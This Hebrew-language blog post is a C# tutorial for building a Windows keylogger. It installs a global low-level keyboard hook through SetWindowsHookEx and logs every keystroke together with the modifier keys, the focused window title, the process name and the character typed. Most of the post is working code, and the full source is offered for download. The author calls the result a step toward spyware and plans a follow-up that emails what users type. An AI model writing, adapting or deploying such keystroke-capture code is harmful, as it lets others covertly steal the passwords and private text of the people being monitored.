התבקשתי לכתוב Key Logger פשוט עם הדרישות הבאות:

    1. לקבל כל הקשת תו במקלדת בכל תוכנה שהיא שרצה על מערכת ההפעלה.
    2. להציג את הפרטים הבאים:
      1. KeyCode – כלומר התו במקלדת.
      2. להציג האם אחד מהמקשים הבאים לחוץ: Alt, Sift, Control, Numlook, Capslook.
      3. את הפרש הזמן בו המקש נלחץ.
      4. Handle לחלון בה הלחצן נלחץ
      5. הכותרת של החלון.
      6. שם הפרוסס.
      7. התו האמיתי שנלחץ (כלומר אם נלחץ על T זה יכול להיות – במקלדת עברית/אנגלית T, t, א)

    כדי לעשות זאת אנחנו צריכים לעבוד הרבה עם ה – WinAPi

    (תוכלו להוריד את כל הקוד הרלוונטי כאן או לראות את כל הקוד של המחלקה כאן)

     

    המחלקה KeyboardService שנכיר בהמשך תחשוף event שנראה כך:

    public event EventHandler<KeyEventArgs> KeyboardEventOccured

    ה – KeyEventArgs נראה כך:

     

    public class KeyEventArgs : EventArgs

    {

        public int KeyCode { get; private set; }

        public IntPtr Handle { get; private set; }

        public KeyState State { get; private set; }

        public TimeSpan Time { get; private set; }

        public bool Alt { get; private set; }

        public bool Shift { get; private set; }

        public bool Control { get; private set; }

        public bool Capslock { get; private set; }

        public bool Numlook { get; private set; }

        public string Unicode { get; private set; }

        public string ProcessName { get; private set; }

        public string Title { get; private set; }

     

        public SWF.Keys Key

        {

            get

            {

                return (SWF.Keys)KeyCode;

            }

        }

    }

     

    public enum KeyState

    {

        KeyDown,

        KeyUp

    }

     

    כשנריץ את האפליקציה (המצורפת בלינק בתחילת הפוסט) נקבל את התוצאה הבאה

    image

     

    כפי שאפשר לראות מדובר ב – KeyLogger שעובד בצורה סבירה, ונותן את כל המידע שצריך, אם באמת נרצה להאזין להקלדות (כמובן שכדי להפוך זאת לתוכנת ריגול יותר אפקטיבית צריך להעביר את האפליקציה עוד כמה שלבים, שלא אדגים כאן – אולי בפוסט הבא)

     

    נראה את המימוש:

    היות שאני לא רציתי להאזין להקשות אלא אם כן המשתמש נרשם לאירוע, ומצד שני לא רציתי שהמתכנת יצטרך להירשם לאירוע וגם לקרוא למתודת Start, הקוד נראה כך:

    private EventHandler<KeyEventArgs> _keyboardEventOccured;

     

    public event EventHandler<KeyEventArgs> KeyboardEventOccured

    {

        add

        {

            if (_keyboardEventOccured == null)

            {

                StartHookKeyboard();

            }

     

            _keyboardEventOccured += value;

        }

        remove

        {

            _keyboardEventOccured -= value;

     

            if (_keyboardEventOccured == null)

            {

                StopHookKeyboard();

            }

        }

    }

     

    כלומר, הרישום לאירוע שמוגדר כ – public רושם את המתודה למופע אחר של הארוע, ובמקביל מפעיל את מתודת Start (וכמובן בהסרה מהרישום לאירוע)

    התנאי לפני הקריאה ל – Strat ול – Stop מוודא שקריאה ל – Start תקרה רק פעם אחת בלבד, והקריאה ל – Stop תקרה רק כשרישום האחרון יסיר את עצמו.

    חשוב לציין שאני לא מציג כאן את כל מתודות ה – WinApi אליהם אני ניגש בעזרת PInvoke , אך הם זמינים בדוגמא להורדה.

    נראה את המימוש למתודת StartHookKeyboard.

     

    private IntPtr _currentHook;

    private static PInvoke.HookProc _keyboardHookProc;

     

    private void StartHookKeyboard()

    {

        Process process = Process.GetCurrentProcess();

        IntPtr pointer = process.MainModule.BaseAddress;

     

        _keyboardHookProc = KeyboardHookProc;

        _currentHook =

            PInvoke.SetWindowsHookEx(PInvoke.HookType.WH_KEYBOARD_LL,

                                    _keyboardHookProc,

                                    pointer, 0);

     

        if (_currentHook.ToInt32() == 0)

        {

            int errorCode = Marshal.GetLastWin32Error();

            throw new Win32Exception(errorCode);

        }

    }

     

    ראשית נגדיר את המשתנה currentHook שיחזיק את המצביע כדי שנוכל בסוף התהליך לעצור את ההאזנה, בעזרת המתודה Stop

    private void StopHookKeyboard()

    {

        PInvoke.UnhookWindowsHookEx(_currentHook);

    }

    מתודת UnhookWindowsHookEx מקבלת כמפרמטר את המצביע לפונקציה של ההאזנה שהגדרנו במתודת Start ומפסיקה לשלוח לה את המידע.

    נחזור למתודת Start, נגדיר עוד מתשנה גלובלי בשם keyboardHookProc שהוא למעשה מופע של delegate שנראה כך:

    public delegate IntPtr HookProc(int code, IntPtr wParam, IntPtr lParam);

     

    keyboardHookProc יכיל מצביע לפונקציה שתופעל בכל פעם שמקש במקלדת יילחץ.

    הסיבה שזה חייב להיות גלובלי היא כדי שמנגנון ה – GC לא יחליט לנקות את המצביע.

    בתוך מתודת Start, נוציא מתוך הפרוסס הנוכחי את המצביע ל – Main Thread הנוכחי, אנחנו נצטרך אותו בהמשך.

    לאחר מכן, נגדיר ש – keyboardHookProc יצביע למתודה עם שם דומה (בהמשך נראה אותה), ונספר למערכת ההפעלה שאנחנו רוצים לקבל נוטיפיקציות על הקשות, בעזרת השורה הבאה:

    _currentHook =

        PInvoke.SetWindowsHookEx(PInvoke.HookType.WH_KEYBOARD_LL,

                                _keyboardHookProc,

                                pointer, 0);

     

    הפרמטר הראשון הוא סוג ה – Hook (יש גם לעכבר ולאחרים), הפרמטר השני היא המתודה להפעלה בזמן הקשת המקלדת, הפרמטר השלישי היא המצביע למודול שלנו (מכיוון שהפונקציה שאמורים להפעיל נמצאת בה) הפרמטר הרביעי יכול להיות או 0 ואז הכוונה ל – Hook גלובלי (כלומר להאזין לכל הקשות המקלדת) או הערך של ה – thread שלנו (ואז הכוונה להאזין להקשות של האפליקציה הנוכחית)

    בשפות אחרות כמו ++C ניתן לשלוח עבור הפרמטר האחרון threadId של אפליקצייה ספציפית כדי להאזין רק לה, אבל אי אפשר לעשות זאת ב – net.

    כעת בכל הקשת מקלדת, הפונקציה ששלחנו כפרמטר תופעל.

    הפונקציה נראית כך: (הסברים בהמשך)

    private IntPtr KeyboardHookProc(int nCode, IntPtr wParam, IntPtr lParam)

    {

    if (nCode >= 0)

    {

        if (_keyboardEventOccured != null)

        {

            KeyState state = GetKeyState(wParam);

     

            PInvoke.KeyboardHookStruct hookStruct = GetHookStruct(lParam);

     

            TimeSpan time = TimeSpan.FromTicks(hookStruct.Time);

     

            bool alt = hookStruct.Flags.HasFlag(PInvoke.KBDLLHOOKSTRUCTFlags.LLKHF_ALTDOWN);

            bool shift = (PInvoke.GetKeyState(PInvoke.VK.Shift) & 0x80) == 0x80;

            bool control = PInvoke.GetKeyState(PInvoke.VK.Control) != 0;

            bool capslock = PInvoke.GetKeyState(PInvoke.VK.Capital) != 0;

            bool numlook = PInvoke.GetKeyState(PInvoke.VK.Numlock) != 0;

     

            IntPtr handle;

            int processId;

            int mainThredIs;

            GetIds(out handle, out processId, out mainThredIs);

     

            string processName = Process.GetProcessById(processId).ProcessName;

            string unicode = VKCodeToUnicode(hookStruct.VirtualKeyCode, mainThredIs);

            string title = GetTitle(handle);

     

            KeyEventArgs args = new KeyEventArgs(hookStruct.VirtualKeyCode,

                                                state, time,

                                                alt, control, shift,

                                                capslock, numlook,

                                                unicode, handle,

                                                processName, title);

     

            _keyboardEventOccured(this, args);

        }

    }

     

    return PInvoke.CallNextHookEx(_currentHook, nCode, wParam, lParam);

    }

     

    ראשית נוודא שה – code גדול מ – 0, אחרת (ובכל מקרה גם בסוף) נקרא ל – CallNextHookEx, כדי שהקשות המקלדת לא יתקעו אצלנו.

    במידה והערך גדול מ – 0 וגם מישהו נרשם לאירוע ורוצה לדעת על כך, נרצה לקבל את ה – KeyState כדי לדעת האם מדובר ב – KeyUp או ב – KeyDown, ולכן נקרא למתודת GetKeyState שנראית כך:

     

    private static KeyState GetKeyState(IntPtr wParam)

    {

        PInvoke.WM message = (PInvoke.WM)wParam.ToInt32();

        KeyState state = KeyState.KeyDown;

     

        switch (message)

        {

            case PInvoke.WM.KEYDOWN:

            case PInvoke.WM.SYSKEYDOWN:

                state = KeyState.KeyDown;

                break;

            case PInvoke.WM.KEYUP:

            case PInvoke.WM.SYSKEYUP:

                state = KeyState.KeyUp;

                break;

        }

        return state;

    }

     

    לאחר מכן נרצה לקבל מה – lParam את כל המידע, ולכן נפעיל את מתודת GetHookStruct שנראית כך:

    private static PInvoke.KeyboardHookStruct GetHookStruct(IntPtr lParam)

    {

        PInvoke.KeyboardHookStruct hookStruct =

            (PInvoke.KeyboardHookStruct)Marshal.PtrToStructure(

                lParam, typeof(PInvoke.KeyboardHookStruct));

     

        return hookStruct;

    }

     

    המתודה מחזירה מבנה שנראה כך:

    [StructLayout(LayoutKind.Sequential)]

    public struct KeyboardHookStruct

    {

        public int VirtualKeyCode;

        public int ScanCode;

        public KBDLLHOOKSTRUCTFlags Flags;

        public int Time;

        public int ExtraInfo;

    }

     

    [Flags]

    public enum KBDLLHOOKSTRUCTFlags : uint

    {

        LLKHF_EXTENDED = 0x01,

        LLKHF_INJECTED = 0x10,

        LLKHF_ALTDOWN = 0x20,

        LLKHF_UP = 0x80,

    }

     

    אני לא אסביר לפרטי פרטים את כל המבנה, נתייחס רק למה שאנחנו צריכים.

    אנחנו צריכים לבנות מהמבנה הזה את האובייקט KeyEventArgs,

    ה – KeyCode הוא ה – VirtualKeyCode. (התו שנלחץ במקלדת)

    את הזמן נוציא בצורה הבאה

    TimeSpan time = TimeSpan.FromTicks(hookStruct.Time);

    האם לחצן alt לחוץ נקבל כחלק מהמידע שנמצא ב – Flags, כך: היכרות עם HasFlag)

    bool alt = hookStruct.Flags.HasFlag(PInvoke.KBDLLHOOKSTRUCTFlags.LLKHF_ALTDOWN);

     

    את שאר הלחצנים האם הם לחוצים, נצטרך לשאול את מערכת ההפעלה, כך:

    bool shift = (PInvoke.GetKeyState(PInvoke.VK.Shift) & 0x80) == 0x80;

    bool control = PInvoke.GetKeyState(PInvoke.VK.Control) != 0;

    bool capslock = PInvoke.GetKeyState(PInvoke.VK.Capital) != 0;

    bool numlook = PInvoke.GetKeyState(PInvoke.VK.Numlock) != 0;

     

    הפונקציה, GetKeyState נראית כך:

    [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]

    public static extern short GetKeyState(VK vKey);

     

    public enum VK

    {

        Shift = 0x10,

        Capital = 0x14,

        Numlock = 0x90,

        Control = 0x11

    }

     

    כעת כדי לקבל את כותרת החלון ואת התו האמיתי שנלחץ (לפי שפת המקלדת) נצטרך לקבל כמה Ids, ולכן נכתוב כך:

     

    IntPtr handle;

    int processId;

    int mainThredIs;

    GetIds(out handle, out processId, out mainThredIs);

     

    private static void GetIds(out IntPtr handle, out int processId, out int mainThredIs)

    {

        handle = GetFocusedHandle();

     

        mainThredIs = PInvoke.GetWindowThreadProcessId(handle, out processId);

    }

     

    private static IntPtr GetFocusedHandle()

    {

        var info = new PInvoke.GuiThreadInfo();

        info.cbSize = Marshal.SizeOf(info);

        if (!PInvoke.GetGUIThreadInfo(0, ref info))

        {

            throw new Win32Exception();

        }

        return info.hwndFocus;

    }

     

    נפנה למתודת GetIds, ונבקש את ה – Handle לחלון שכרגע בפוקוס, לאחר שנקבל אותו נשתמש בפונקציה GetWindowsThreadProcessId שמחזירה את ה – ProcessId (שנצטרך אותו בשביל שם הפרוסס) ואת ה – MainThreadId שנצטרך בשביל לקבל את התו האמיתי, וכמובן יש לנו גם את ה – Handle שנצטרך אותו בשביל הכותרת של החלון.

    הפונקציה GetFocusedHandled פונה למערכת ההפעלה ומקבלת מבנה מסוג GuiTherdInfo, שמכיל הרבה מידע, רובו לא רלוונטי אלינו, מה שאנחנו צריכים ממנו זה את ה – Handle לחלון שכרגע בפוקוס (ובו כנראה הקלדנו)

    כעת נוכל לבקש את המחרוזות שאנחנו צריכים כך:

    string processName = Process.GetProcessById(processId).ProcessName;

    string unicode = VKCodeToUnicode(hookStruct.VirtualKeyCode, mainThredIs);

    string title = GetTitle(handle);

     

    את שם הפרוסס קל לבקש, זה קוד רגיל של net.

    כדי לקבל את תו ה – unicode, נצטרך להפעיל סדרה של פונקציות מערכת ההפעלה, זה נראה כך:

    private string VKCodeToUnicode(int VKCode, int threadId)

    {

        System.Text.StringBuilder sbString = new System.Text.StringBuilder();

     

        byte[] bKeyState = new byte[255];

        bool bKeyStateStatus = PInvoke.GetKeyboardState(bKeyState);

        if (!bKeyStateStatus)

            return "";

     

        uint lScanCode = PInvoke.MapVirtualKey((uint)VKCode, 0);

        IntPtr HKL = PInvoke.GetKeyboardLayout((uint)threadId);

     

        PInvoke.ToUnicodeEx((uint)VKCode, lScanCode, bKeyState, sbString, (int)5, (uint)0, HKL);

        return sbString.ToString();

    }

     

    אני לא אסביר כאן כל פרט מה המשמעות, הפונקציה החשובה כאן, היא ההפעלה של GetKeyboardLayout שמקבלת כפרמטר את ה – thread שאותו אנחנו רוצים לפלטר, אם נשלח 0 נקבל תמיד את השפה והמצב של הפרוסס שמאזין להקלדות.

    הדבר האחרון שנרצה לקבל זה את כותרת החלון, זהו למעשה קצת טריקי, מכיוון שאכן יש לנו את ה – handle לחלון, אבל ב – win32 כל דבר שאנחנו רואים (לחצן, תיבת טקסט וכד’) הוא חלון ונוצר בעזרת קריאה לפונקצית CreateWindow.

    ולכן נצטרך לעלות למעלה כדי לקבל את ה – handle לחלון האמיתי.

    private static string GetTitle(IntPtr hWnd)

    {

        StringBuilder strbTitle = new StringBuilder(255);

        hWnd = PInvoke.GetAncestor(hWnd, PInvoke.GetAncestor_Flags.GetRoot);

        PInvoke.GetWindowText(hWnd, strbTitle, strbTitle.Capacity + 1);

        return strbTitle.ToString();

    }

     

    כעת נוכל לכתוב את הקוד הבא:

    KeyEventArgs args = new KeyEventArgs(hookStruct.VirtualKeyCode,

                                        state, time,

                                        alt, control, shift,

                                        capslock, numlook,

                                        unicode, handle,

                                        processName, title);

     

    _keyboardEventOccured(this, args);

     

    וכעת מי שמאזין יקבל את ההודעה עם כל המידע.

    אולי בפוסט הבא נהפוך את הקוד כאן לתוכנת ריגול שיודעת להאזין ולשלוח למייל קודים שהמשתמש מקליד וכדו’.

    הוסף תגובה
    facebook linkedin twitter email